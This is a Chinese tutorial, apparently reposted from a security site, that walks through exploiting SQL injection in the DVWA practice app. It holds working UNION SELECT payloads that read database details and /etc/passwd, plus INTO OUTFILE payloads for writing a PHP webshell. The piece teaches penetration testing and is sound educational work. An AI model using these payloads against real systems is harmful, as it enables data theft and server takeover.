自拍偷在线精品自拍偷,亚洲欧美中文日韩v在线观看不卡

DVWA之從SQL注入到寫(xiě)入webshell

安全 數(shù)據(jù)安全
這篇文章談?wù)摵?jiǎn)單的技術(shù),利用sql注入(SQLi)漏洞,并獲得一個(gè)webshell,所有的演示都是用DVWA(滲透測(cè)試演練系統(tǒng))。

這篇文章談?wù)摵?jiǎn)單的技術(shù),利用sql注入(SQLi)漏洞,并獲得一個(gè)webshell,所有的演示都是用DVWA(滲透測(cè)試演練系統(tǒng))。對(duì)于SQL注入利用,有以下幾個(gè)基本步驟:

1,發(fā)現(xiàn)SQL注入點(diǎn);

2,通過(guò)mysql數(shù)據(jù)庫(kù)幫助,進(jìn)一步進(jìn)行注入,獲取帳號(hào)密碼等敏感信息;

3,上傳webshell,獲得一個(gè)反向連接。

本文所有的演示都是在DVWA(Dam Vulnerable Web Application)環(huán)境演示,DVWA是用PHP+Mysql編寫(xiě)的一套用于常規(guī)WEB漏洞教學(xué)和檢測(cè)的WEB脆弱性測(cè)試程序。包含了SQL注入、XSS、盲注等常見(jiàn)的一些安全漏洞. 安裝好之后,我們?cè)诒疚牡难菔局行枰O(shè)置腳本安全級(jí)別為low(低)。

1、發(fā)現(xiàn)SQL注入點(diǎn)

識(shí)別SQL注入是關(guān)鍵的一步,它需要大量的技能和經(jīng)驗(yàn)來(lái)確定注入點(diǎn)。通過(guò)適當(dāng)?shù)姆治鰬?yīng)用程序,可以判斷什么地方存在注入點(diǎn)。在下面的屏幕截圖所示,“ID”字段中可能會(huì)受到SQL注入。程序功能需要一個(gè)整數(shù)做為用戶輸入,提交之后會(huì)顯示該ID對(duì)應(yīng)的姓名。

當(dāng)我們?cè)谟脩鬒D中加一個(gè)單引號(hào)(‘),會(huì)看到產(chǎn)生了數(shù)據(jù)庫(kù)的報(bào)錯(cuò),本次演示使用的是mysql數(shù)據(jù)庫(kù)。

之所以產(chǎn)生錯(cuò)誤是因?yàn)?,輸入的用戶ID中,單引號(hào)不是一個(gè)整數(shù)類型的,導(dǎo)致后端SQL查詢產(chǎn)生了錯(cuò)誤,可以想象一下后端SQL查詢語(yǔ)句大概是這樣:

Mysql>select first_name,last_name from users where user_id=”;

如果輸入變成了非整數(shù)類型的單引號(hào),SQL語(yǔ)句就會(huì)變成如下:

DVWA滲透測(cè)試演練系統(tǒng)之SQL注入

MySQL> select first_name, last_name from users where user_id=”’ ;

因此,產(chǎn)生了一個(gè)語(yǔ)法錯(cuò)誤,所以注入點(diǎn)被確定為id字段。前端的該語(yǔ)句是會(huì)在后端的sql服務(wù)器進(jìn)行執(zhí)行的,這將使sql注入變?yōu)榭赡堋?/p>

2、通過(guò)mysql數(shù)據(jù)庫(kù)幫助,進(jìn)一步進(jìn)行注入,獲取帳號(hào)密碼等敏感信息;

進(jìn)一步嘗試猜測(cè)后端查詢語(yǔ)句,從而獲取mysql版本、數(shù)據(jù)庫(kù)名稱、列數(shù)等,通過(guò)前端的報(bào)錯(cuò)等我們猜測(cè)后端的查詢語(yǔ)句是這樣的:

Mysql>select first_name,last_name for user where user_id=1;

以上只是胡亂猜測(cè),我們需要通過(guò)mysql語(yǔ)句更進(jìn)一步的進(jìn)行測(cè)試,開(kāi)始使用order by 。order by 語(yǔ)句可以對(duì)查詢結(jié)果進(jìn)行排列,上面的語(yǔ)句中有兩列,使用order by 語(yǔ)句可以按照第一列first_name或者第二列l(wèi)ast_name對(duì)結(jié)果進(jìn)行排列。假如我們想根據(jù)第三列對(duì)結(jié)果進(jìn)行排序,因?yàn)椴樵冋Z(yǔ)句中不存在第三列,就會(huì)產(chǎn)生報(bào)錯(cuò):

ERROR 1054 (42S22): Unknown column ’3′ in ‘order clause’

當(dāng)我們使用order by 2的時(shí)候沒(méi)有產(chǎn)生任何錯(cuò)誤,而使用order by 3的時(shí)候產(chǎn)生報(bào)錯(cuò),說(shuō)明數(shù)據(jù)庫(kù)中只有兩列;通過(guò)這種方法我們可以使用order by語(yǔ)句猜測(cè)數(shù)據(jù)庫(kù)表中的列數(shù)。

user id輸入’ order by 3+–+的時(shí)候,后端SQL查詢語(yǔ)句如下:

Mysql>select first_name,last_name from user where user_id=”order by 3+–+’

可以看到因?yàn)椴淮嬖诘谌袝?huì)產(chǎn)生報(bào)錯(cuò)。

user id輸入’order by 2+–+的時(shí)候,后端查詢語(yǔ)句如下:

Mysql>select first_name,last_name from user where user_id=”order by 2+–+’

可以看到?jīng)]有產(chǎn)生任何錯(cuò)誤。

滲透測(cè)試演練系統(tǒng)dvwa

接下來(lái)進(jìn)一步使用union查詢語(yǔ)句

為什么要使用聯(lián)合查詢?

Union查詢結(jié)合了兩個(gè)select查詢結(jié)果,根據(jù)上文中的order by語(yǔ)句我們知道查詢包含兩列,為了能夠現(xiàn)實(shí)兩列查詢結(jié)果,我們需要用union查詢了結(jié)合我們構(gòu)造的另外一個(gè)select.注意在使用union查詢的時(shí)候需要和主查詢的列數(shù)相同。

MySQL> select first_name, last_name from users where user_id=”union select 1,2 ;

使用union select之后可以看到查詢結(jié)果顯示在了頁(yè)面上.

滲透測(cè)試演練系統(tǒng)Dvwa

繼續(xù)構(gòu)造union select語(yǔ)句,來(lái)查詢正在使用中的用戶和數(shù)據(jù)庫(kù),用以下語(yǔ)句:

‘union select user(),database()+–+

滲透測(cè)試演練系統(tǒng)DVWA

‘union select session_user(),current_user()+–+
‘union select 1,version()+–+ 查詢數(shù)據(jù)庫(kù)的版本。

使用聯(lián)合查詢語(yǔ)句構(gòu)造,利用注入讀取/ect/passwd 文件(linux系統(tǒng))

‘UNION SELECT 1, load_file(/etc/passwd) +–+

使用聯(lián)合查詢語(yǔ)句構(gòu)造,利用注入讀取c:\1.txt (Windows系統(tǒng))

‘ UNION SELECT 1, load_file(‘c:\\1.txt’) +–+        或者
‘ union select 1, load_file(‘c:\/1.txt’) +–+

滲透測(cè)試演練系統(tǒng)

3、利用sql注入寫(xiě)入webshell

假設(shè)我們通過(guò)phpinfo文件知道了網(wǎng)站的物理路徑,接下來(lái)我們通過(guò)使用union select語(yǔ)句來(lái)寫(xiě)入webshell.寫(xiě)入需要你有寫(xiě)入權(quán)限等。

‘ union select 1,’‘ INTO OUTFILE ‘/var/www/dvwa/cmd.php’ +–+
‘ union select 1,’’ into outfile ‘c:\\2.php’+–+

本文中用到的DVWA(滲透測(cè)試演練系統(tǒng)):http://www.kalinux.org    帳號(hào)密碼: admin password,  暫時(shí)因?yàn)榄h(huán)境不支持sql injection漏洞的演練。

責(zé)任編輯:藍(lán)雨淚 來(lái)源: 紅黑聯(lián)盟
相關(guān)推薦

2020-08-30 14:34:42

Java語(yǔ)言安全編碼web安全

2013-01-28 17:33:42

2017-06-26 09:15:39

SQL數(shù)據(jù)庫(kù)基礎(chǔ)

2022-06-13 11:33:59

RedoMySQL

2023-11-13 08:55:41

2014-10-11 11:44:02

2023-05-09 08:34:51

PythonWith語(yǔ)句

2010-12-20 16:04:30

2018-10-16 10:54:45

2013-07-27 14:14:25

2017-08-10 10:23:59

2011-09-05 09:28:58

MySQLMongoDB

2010-04-13 14:35:17

2017-04-07 11:15:49

原型鏈原型Javascript

2012-02-29 00:49:06

Linux學(xué)習(xí)

2025-04-22 07:52:59

2012-11-08 14:28:16

2021-05-08 15:22:31

網(wǎng)絡(luò)安全Web安全SQL

2020-10-26 07:04:29

SQL注入mysql

2013-05-02 15:09:22

點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號(hào)